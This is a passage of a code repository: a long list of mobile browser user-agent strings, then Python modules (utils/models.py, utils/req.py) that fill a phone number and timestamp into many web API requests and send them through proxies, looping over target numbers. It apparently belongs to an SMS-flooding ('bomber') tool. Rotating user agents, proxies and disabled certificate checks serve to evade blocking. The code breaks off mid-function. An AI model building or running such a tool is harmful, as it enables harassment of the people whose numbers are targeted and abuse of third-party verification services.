240 | Nokia6680/1.0 (4.04.07) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1
241 | Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US]
242 | Nokia6800/2.0 (4.17) Profile/MIDP-1.0 Configuration/CLDC-1.0 UP.Link/5.1.2.9
243 | Nokia7610/2.0 (7.0642.0) SymbianOS/7.0s Series60/2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0/UC Browser7.9.1.120/27/351/UCWEB
244 | Nokia7250I/1.0 (3.22) Profile/MIDP-1.0 Configuration/CLDC-1.0
245 | Nokia7250/1.0 (3.14) Profile/MIDP-1.0 Configuration/CLDC-1.0
246 | Nokia7610/2.0 (5.0509.0) SymbianOS/7.0s Series60/2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0
247 | Nokia8310/1.0 (05.11) UP.Link/6.5.0.0.06.5.0.0.06.5.0.0.06.5.0.0.0
248 | Mozilla/4.0 (compatible; MSIE 5.0; Symbian )S)
249 | Opera 6.0[en]Nokia/Series-9300
250 | Mozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9300/05.22 Profile/MIDP-2.0 Configuration/CLDC-1.1)
251 | Mozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9500/4.51 Profile/MIDP-2.0 Configuration/CLDC-1.1)
252 | NokiaC3-00/5.0 (04.60) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+
253 | Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE55-1/034.001; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.1.5
254 | Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; en-GB) Presto/2.4.18 Version/10.00
255 | Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es61i
256 | Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.13918/488; U; en) Presto/2.2.0
257 | Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE63-3/100.21.110; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413
258 | Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413
259 | Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE90-1/07.24.0.3; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.2.3.18.0
260 | Mozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13
261 | NokiaN70-1/5.0737.3.0.1 Series60/2.8 Profile/MIDP-2.0 Configuration/CLDC-1.1/UC Browser7.8.0.95/27/352
262 | Mozilla/5.0 (SymbianOS/9.3; U; Series60/3.2 NokiaN79-1/32.001; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413
263 | Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124
264 | Mozilla/5.0 (SymbianOS/9.3; U; Series60/3.2 NokiaN85-1/31.002; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413
265 | Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1
266 | Mozilla/5.0 (X11; U; Linux armv7l; en-GB; rv:1.9.2a1pre) Gecko/20090928 Firefox/3.5 Maemo Browser 1.4.1.22 RX-51 N900
267 | Mozilla/5.0 (X11; U; Linux armv6l; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) tear
268 | Mozilla/5.0 (X11; U; Linux armv6l; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori
269 | Links (2.1pre31; Linux 2.6.21-omap1 armv6l; x)
270 | Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv: 1.9.1a2pre) Gecko/20080813221937 Prism/0.9.1
271 | Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9a6pre) Gecko/20070810 Firefox/3.0a1 Tablet browser 0.1.16 RX-34_2007SE_4.2007.38-2
272 | Opera/9.50 (J2ME/MIDP; Opera Mini/4.1.10781/298; U; en)
273 | Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE71-1/100.07.76; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413
274 | Opera/8.01 (J2ME/MIDP; Opera Mini/3.0.6306/1528; en; U; ssr)
275 | Mozilla/4.0 (compatible; MSIE 6.0; ; Linux armv5tejl; U) Opera 8.02 [en_US] Maemo browser 0.4.31 N770/SU-18
276 | NokiaN80-3/1.0552.0.7Series60/3.0Profile/MIDP-2.0Configuration/CLDC-1.1
277 | Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413
278 | Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9a6pre) Gecko/20070807 Firefox/3.0a1 Tablet browser 0.1.16 RX-34_2007SE_4.2007.26-8
279 | NokiaN90-1/3.0545.5.1 Series60/2.8 Profile/MIDP-2.0 Configuration/CLDC-1.1
280 | Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/10.0.018;
281 | Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
282 | (KHTML, like Gecko) Safari/413
283 | NokiaX3-02/5.0 (05.65) Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0/p>
284 | Explanation: A Nokia X3. String from Ranbdr Ghale - thanks.
285 | NokiaN-Gage/1.0 SymbianOS/6.1 Series60/1.2 Profile/MIDP-1.0 Configuration/CLDC-1.0
286 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17
287 | nook browser/1.0
288 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; SPV M700; OpVer 19.123.1.615)
289 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 240x320; SPV C600; OpVer 11.1.3.5)
290 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; SPV M2000; OpVer 5.31.1.124)
291 | Mozilla/5.0 (webOS/1.4.5; U; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Version/1.0 Safari/532.2 Pre/1.0
292 | PalmCentro/v0001 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/Palm-D061; Blazer/4.5) 16;320x320
293 | Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0; Palm-Arz1)
294 | Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0
295 | Mozilla/5.0 (webOS/1.0; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Pre/1.0
296 | Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12) /Palm 500v/v0100 UP.Link/6.3.1.13.0
297 | Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/Palm-D062; Blazer/4.5) 16;320x320
298 | Palm680/RC1 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98;
299 | PalmSource/Palm-D053; Blazer/4.5) 16;320x320 UP.Link/6.3.1.17.06.3.1.17.0
300 | Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/Palm-D053; Blazer/4.5) 16;320x320 UP.Link/6.3.1.17.0
301 | Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/Palm-TunX; Blazer/4.3) 16;320x448
302 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)
303 | Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/hspr-H102; Blazer/4.0) 16;320x320
304 | Mozilla/4.0 (compatible; MSIE 6.0; Windows 95; PalmSource; Blazer 3.0) 16;160x160
305 | UPG1 UP/4.0 (compatible; Blazer 1.0)
306 | Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/Palm-D050; Blazer/4.3) 16;320x320)
307 | Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0; Palm-Arz1)
308 | Mozilla/4.76 (compatible; MSIE 6.0; U; Windows 95; PalmSource; PalmOS; WebPro; Tungsten Proxyless 1.1 320x320x16)
309 | Mozilla/4.0 (compatible;MSIE 6.0;Windows95;PalmSource) Netfront/3.0;8;320x320
310 | Mozilla/4.0 (compatible;MSIE 6.0;Windows95;PalmSource) Netfront/3.0
311 | PantechP7040/JLUS04042011; Mozilla/5.0 (Profile/MIDP-2.0 Configuration/CLDC-1.1; Opera Mini/att/4.2.16479; U; en-US) Opera 9.50
312 | MobileExplorer/3.00 (Mozilla/1.22; compatible; MMEF300; Amstrad; Gamma)
313 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)
314 | Mozilla/2.0 (compatible ; MSIE 3.02; Windows CE; PPC; 240x320)
315 | Mozilla/4.0(compatible; MSIE 4.01; Windows CE; PPC; 240x320)
316 | Mozilla/4.0(compatible; MSIE 4.01; Windows CE; PPC; 240x320)
317 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)
318 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; RegKing; 240x320)
319 | SAGEM-myX5-2/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.0
320 | UP.Browser/6.2.2.6.d.3 (GUI) MMP/1.0
321 | Mozilla/5.0 (Linux; U; Android 2.3.6; es-es; GT-I8160 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
322 | Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I535 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
323 | Opera/9.80 (Android 4.1.2; Linux; Opera Mobi/ADR-1305251841) Presto/2.11.355 Version/12.10
324 | Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-S6010 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
325 | Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; SCH-R720 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
326 | Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; SCH-I800 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
327 | Mozilla/5.0 (X11; CrOS armv7l 2913.260.0) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.99 Safari/537.11
328 | Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; SGH-I757M Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
329 | SAMSUNG-SGH-A817/A817UCKG3; Mozilla/5.0 (Profile/MIDP-2.0 Configuration/CLDC-1.1; Opera Mini/att/4.2.21648; U; en-US) Opera 9.50
330 | Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SPH-D700 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
331 | SAMSUNG-GT-S3653W/S3653WJPJB3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 UNTRUSTED/1.0
332 | Mozilla/5.0 (Linux; U; Android 4.0.3; nl-nl; GT-I9000 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
333 | SAMSUNG-SGH-A797/A797UCIIB SHP/VPP/R5 NetFront/3.5 SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1
334 | SAMSUNG-SGH-A927/A927UCJF5; Mozilla/5.0 (Profile/MIDP-2.0 Configuration/CLDC-1.1; Opera Mini/att/4.2.19039; U; en-KR) Opera 9.50
335 | Mozilla/5.0 (Linux; U; Android 2.3.5; de-de; SAMSUNG GT-S5830/S5830BUKS2 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
336 | Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; GT-I9000 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
337 | SAMSUNG-GT-S3310/1.0 SHP/VPP/R5 NetFront/3.4 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1
338 | Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
339 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; SGH-T959 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko Version/4.0 Mobile Safari/533.1
340 | sam-r380 UP.Browser/6.2.3.8 (GUI) MMP/2.0
341 | samsung-gt-s5620/UC Browser7.9.0.102/69/352 UNTRUSTED/1.0
342 | sam-r350 UP.Browser/6.2.3.8 (GUI) MMP/2.0
343 | SAMSUNG-S8003/1.0 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1
344 | SAMSUNG-GT-S3310/1.0 SHP/VPP/R5 NetFront/3.4 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1
345 | Mozilla/5.0 (Linux; U; Android 2.3.5; en-gb; GT-I9220 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
346 | SAMSUNG-SGH-T401G/T401UDJD2 NetFront/3.4 Profile/MIDP-2.0 Configuration/CLDC-1.1[TF356986033869900000000017602160239]
347 | samr810 Netfront/3.4 Mozilla/5.0 like Gecko/20060426
348 | SAMSUNG-SGH-i900/1.0 (compatible; MSIE 4.01; Windows CE; PPC)/UC Browser7.7.1.88
349 | Mozilla/5.0 (Linux; U; Android 3.0.1; de-de; GT-P7100 Build/HRI83) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 MobileSafari/534.13
350 | SAMSUNG-GT-S3310/1.0 SHP/VPP/R5 NetFront/3.4 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1
351 | Mozilla/5.0 (SAMSUNG; SAMSUNG-GT-S8530/S8530XXJKA; U; Bada/1.2; de-de) AppleWebKit/533.1 (KHTML, like Gecko) Dolfin/2.2 Mobile WVGA SMM-MMS/1.2.0 OPN-B
352 | Mozilla/5.0 (Linux; U; Android 2.2;es-es;GT-I5500 Build/ FROYO) AppleWebKit/533.1 (KHTML, like Geccko) Version/4.0 Mobile Safari/533.1
353 | Mozilla/5.0 (SAMSUNG; SAMSUNG-GT-S8500/S8500XXJL2; U; Bada/1.2; fr-fr) AppleWebKit/533.1 (KHTML, like Gecko) Dolfin/2.2 Mobile WVGA SMM-MMS/1.2.0 OPN-B
354 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; SCH-I800 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
355 | Mozilla/5.0 (Linux; U; Android 2.2; en-ca; SGH-T959D Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
356 | Mozilla/4.0 (BREW 3.1.5; U; en-us; Samsung; PLS_M330; POLARIS/6.1/WAP) MMP/2.0 Configuration/CLDC-1.1
357 | Mozilla/5.0 (Linux; U; Android 2.2; en-gb; GT-P1000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
358 | Mozilla/5.0 (Linux; U; Android 2.0.1; en-us; Droid Build/ESD56) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17
359 | Samsung-SPHM800 AU-MIC-M800/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UNTRUSTED/1.0
360 | SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0
361 | samsung sgh-e900 /netfront 3.2
362 | TELECA-/2.0 (BREW 3.1.5; U; EN-US;SAMSUNG; SPH-M800; Teleca/Q05A/INT) MMP/2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1
363 | Mozilla/4.1 (U; BREW 3.1.5; en-US; Teleca/Q05A/INT)
364 | SAMSUNG-SGH-A737/UCGI3 SHP/VPP/R5 NetFront/3.4 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0
365 | Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9)
366 | SCH-A950+UP.Browser/6.2.3.2+(GUI)+MMP/2.0
367 | SAMSUNG-SGH-D900/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0
368 | SAMSUNG-SGH-D900/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1
369 | UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 UP.Link/6.3.1.12.0
370 | SEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr)
371 | SEC-SGHE600 UP.Link/6.3.1.12.0
372 | SEC-SGH600
373 | SEC-SGHD410
374 | Mozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.5
375 | AU-MIC/1.1.4.0 20722 MMP/2.0
376 | OPENWAVE UNTRUSTED/1.0
377 | Mozilla/4.0 (BREW 3.1.5; U; en-us; Sanyo; NetFront/3.5.1/AMB) Boost SCP6760
378 | Opera/9.50 (J2ME/MIDP; Opera Mini/4.0.10031/230; U; en)
379 | Vodafone/1.0/703SH/SHG001 Browser/UP.Browser/7.0.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 Ext-J-Profile/JSCL-1.2.2 Ext-V-Profile/VSCL-2.0.0
380 | SHARP-TQ-GX10i/1.0 Profile/MIDP-1.0 Configuration/CLDC-1.0 UP.Browser/6.1.0.6.1.d.1 (GUI) MMP/1.0
381 | Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-rmk7-pxa3-embedix armv5tel; 480x640) Opera 6.0 [en]
382 | SIE-S65/12 UP.Browser/7.0.0.1.c3 (GUI) MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/5.1.2.16
383 | SIE-ME45/05 UP.Browser/5.0.1.1.102 (GUI)
384 | SIE-S55/16 UP.Browser/6.1.0.5.c.4 (GUI) MMP/1.0 UP.Link/5.1.2.10
385 | ReqwirelessWeb/3.2 S55
386 | Mozilla/5.0 (Linux; U; Android 2.3.4; en-ca; SonyEricssonMK16a Build/4.0.2.A.0.58) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0Mobile Safari/533.1
387 | Mozilla/5.0 (Java; U; en-us; sonyericssonk800i) UCBrowser8.2.1.144/70/352/UCWEB Mobile
388 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2) UCBrowser8.2.1.144/70/352
389 | Opera/9.80 (J2ME/MIDP; Opera Mini/7.28870/27.1530; U; en)
390 | Presto/2.8.119 Version/11.10
391 | SonyEricssonT280i/R1CB002 TelecaBrowser/Q04C1-1 Profile/MIDP-2.0 Configuration/CLDC-1.1
392 | Opera/9.80 (J2ME/MIDP; Opera Mini/6.5.26955/26.1283; U; en) Presto/2.8.119 Version/10.54
393 | sonyericssonk800i/UC Browser8.0.3.107/70/352
394 | sonyericssonk800i/UC Browser7.9.0.102/70/352
395 | Mozilla/5.0 (Linux; U; Android 1.6; de-de; SonyEricssonU20i Build/1.1.A.0.8) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1
396 | Opera/9.80 (J2ME/MIDP; Opera Mini/6.0.24093/24.741; U; en) Presto/2.5.25 Version/10.54
397 | Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; E10i Build/2.0.2.A.0.24) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17
398 | Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.22296/22.414; U; en) Presto/2.5.25 Version/10.54
399 | SonyEricssonG700/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 958) Opera 8.65 [ru]
400 | SonyEricssonW595/R3EA Browser/NetFront/3.4 Profile/MIDP-2.1 Configuration/CLDC-1.1 JavaPlatform/JP-8.3.3
401 | SonyEricssonK800i/R8BF Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1
402 | Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.0
403 | Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.13337/504; U; en) Presto/2.2.0
404 | SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1
405 | SonyEricssonK608i/R2L/SN356841000828910
406 | Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1
407 | SonyEricssonK550i/R1JD Browser/NetFront/3.3
408 | Profile/MIDP-2.0 Configuration/CLDC-1.1
409 | SonyEricssonW850i/R1ED Browser/NetFront/3.3
410 | Profile/MIDP-2.0 Configuration/CLDC-1.1
411 | Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1558; en; U; ssr)
412 | SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.2.3.15.0
413 | Opera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr)
414 | SonyEricssonK700i/R2N SEMC-Browser/4.0.1 Profile/MIDP-2.0 Configuration/CLDC-1.1
415 | Opera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr)
416 | SonyEricssonP1i/R100 Mozilla 4.0 (compatibile; MSIE 6.0; Symbian OS;768) Opera 8.65 [hr]
417 | SonyEricssonT200/R101
418 | Mozilla/4.1 (compatible; MSIE5.0; Symbian OS); Opera 6.02 [de]
419 | Mozilla/5.0 (Linux; U; Android 3.2; de-de; Sony Tablet P Build/THMD01900) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
420 | Mozilla/5.0 (Linux; U; Android 3.2; en-gb; Sony Tablet S Build/THMD01900) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
421 | Mozilla/5.0 (PLAYSTATION 3; 1.00)
422 | Mozilla/4.0 (PSP (PlayStation Portable); 2.00)
423 | Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.6) (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) Sprint:PPC6800
424 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:PPC-6700; PPC; 240x320)
425 | Mozilla/4.0 (compatible; MSIE 5.5; Windows CE; PPC; 240x320)
426 | Mozilla/5.0 (X11; U; Linux armv6l; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) tear
427 | Mozilla/5.0 (Linux; U; Android 3.1; de-de; AT100 Build/HMJ37) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
428 | NOKIAN95/UCWEB7.0.2.37/28/800
429 | Vodafone/1.0/HTC_prophet/2.15.3.113/Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)
430 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; XBLWP7; ZuneWP7)
431 | Mozilla/5.0 (ZTE-E_N72/N72V1.0.0B02;U;Windows Mobile/6.1;Profile/MIDP-2.0 Configuration/CLDC-1.1;320*240;CTC/2.0) IE/6.0 (compatible; MSIE 4.01; Windows CE; PPC)/UC Browser7.7.1.88
432 | Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; BASE lutea Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17
433 | Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Cct1)
434 | Mozilla/2.0 (compatible; MSIE 3.02; Windows CE; 240x320)
435 | Mozilla/2.0 (compatible; MSIE 3.02; Windows CE; PPC; 240x320)
436 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)
437 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; MSN Companion 2.0; 800x600; Compaq)
438 | Mozilla/4.0 (compatible;MSIE 6.0;Windows95;PalmSource) Netfront/3.0;8;320x320
439 | Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.1
440 | Mozilla/4.74 [en] (X11; I; ProxiNet)
441 | Mozilla/2.0 (compatible; Elaine/3.0)
442 | Mozilla/2.0 (compatible; MSIE 3.02; Windows CE; 240x320)
--------------------------------------------------------------------------------
/utils/models.py:
--------------------------------------------------------------------------------
1 | # encoding=utf8
2 | # 一些模型
3 | import os
4 | from pydantic import BaseModel
5 | from typing import Union, Optional
6 | from datetime import datetime
7 | from json import loads
8 | from random import choice
9 |
10 |
11 | headers = list()
12 | if os.path.exists("useragents"):
13 | txt_list = os.listdir("useragents")
14 | for txt in txt_list:
15 | try:
16 | with open("./useragents/{}".format(txt), 'r', encoding="UTF-8") as f:
17 | headers.extend(f.read().split('\n'))
18 | except Exception:
19 | continue
20 |
21 |
22 | class API(BaseModel):
23 | """处理自定义 API 数据"""
24 | desc: str = "Default"
25 | url: str
26 | method: str = "GET"
27 |
28 | header: Optional[Union[str, dict]] = {'User-Agent': choice(headers)}
29 |
30 | data: Optional[Union[str, dict]]
31 |
32 | def replace_data(self, content: Union[str, dict], phone: str) -> str:
33 | """
34 |
35 | :param content:
36 | :param phone:
37 | :return:
38 | """
39 | # 统一转换成 str 再替换. ' -> "
40 | if phone:
41 | content = str(content).replace("[phone]", phone).replace(
42 | "[timestamp]", self.timestamp_new()).replace("'", '"')
43 |
44 | # 尝试 json 化
45 | try:
46 | return loads(content.replace("'", '"'))
47 | except:
48 | return content
49 |
50 | @staticmethod
51 | def timestamp_new() -> str:
52 | """
53 | 返回整数字符串时间戳
54 | :return:
55 | """
56 | return str(int(datetime.now().timestamp()))
57 |
58 | def handle_api(self, phone: str = None):
59 | """
60 | 传入手机号处理 API
61 | :param phone:
62 | :return:
63 | """
64 |
65 | # 仅仅当传入 phone 参数时添加 Referer
66 | # fix: 这段代码很有问题.......
67 | if phone:
68 | # 进入的 header 是个字符串
69 | if self.header == "":
70 | self.header = {'Referer': self.url}
71 |
72 | self.header = self.replace_data(self.header, phone)
73 | if not self.header.get('Referer'):
74 | self.header['Referer'] = self.url # 增加 Referer
75 |
76 | self.data = self.replace_data(self.data, phone)
77 | self.url = self.replace_data(self.url, phone)
78 | # print(self)
79 | return self
80 |
--------------------------------------------------------------------------------
/utils/req.py:
--------------------------------------------------------------------------------
1 | # encoding=utf8
2 | # 请求的方法
3 | import os
4 | from httpx import Limits, Client, AsyncClient, Response, HTTPError
5 | from typing import Union, List
6 | from asyncio import Semaphore, ensure_future, gather
7 | from utils.models import API
8 | from random import choice
9 |
10 | headers = list()
11 | if os.path.exists("useragents"):
12 | txt_list = os.listdir("useragents")
13 | for txt in txt_list:
14 | try:
15 | with open("./useragents/{}".format(txt), 'r', encoding="UTF-8") as f:
16 | headers.extend(f.read().split('\n'))
17 | except Exception:
18 | continue
19 |
20 |
21 | def req_api(api: API, client: Union[Client, AsyncClient]) -> Response:
22 | """
23 |
24 | :param api:
25 | :param client:
26 | :return:
27 | """
28 | if isinstance(api.data, dict):
29 | resp = client.request(method=api.method, json=api.data,
30 | headers=api.header, url=api.url, timeout=10)
31 | else:
32 | resp = client.request(method=api.method, data=api.data,
33 | headers=api.header, url=api.url, timeout=10)
34 | return resp
35 |
36 |
37 | def req_func_by_proxy(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool:
38 | """
39 | 通过代理请求接口方法
40 | :param api:
41 | :param phone:
42 | :param proxy:
43 | :return:
44 | """
45 | # 多手机号支持
46 | if isinstance(phone, tuple):
47 | phone_lst = [_ for _ in phone]
48 | else:
49 | phone_lst = [phone]
50 | with Client(headers={'User-Agent': choice(headers)}, verify=False, proxies=proxy) as client:
51 | for ph in phone_lst:
52 | try:
53 | if isinstance(api, API):
54 | api = api.handle_api(ph)
55 | resp = req_api(api, client)
56 | print("{}-{}".format(api.desc, resp.text[:30]))
57 | else:
58 | api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
59 | resp = client.get(url=api, headers={'User-Agent': choice(headers)})
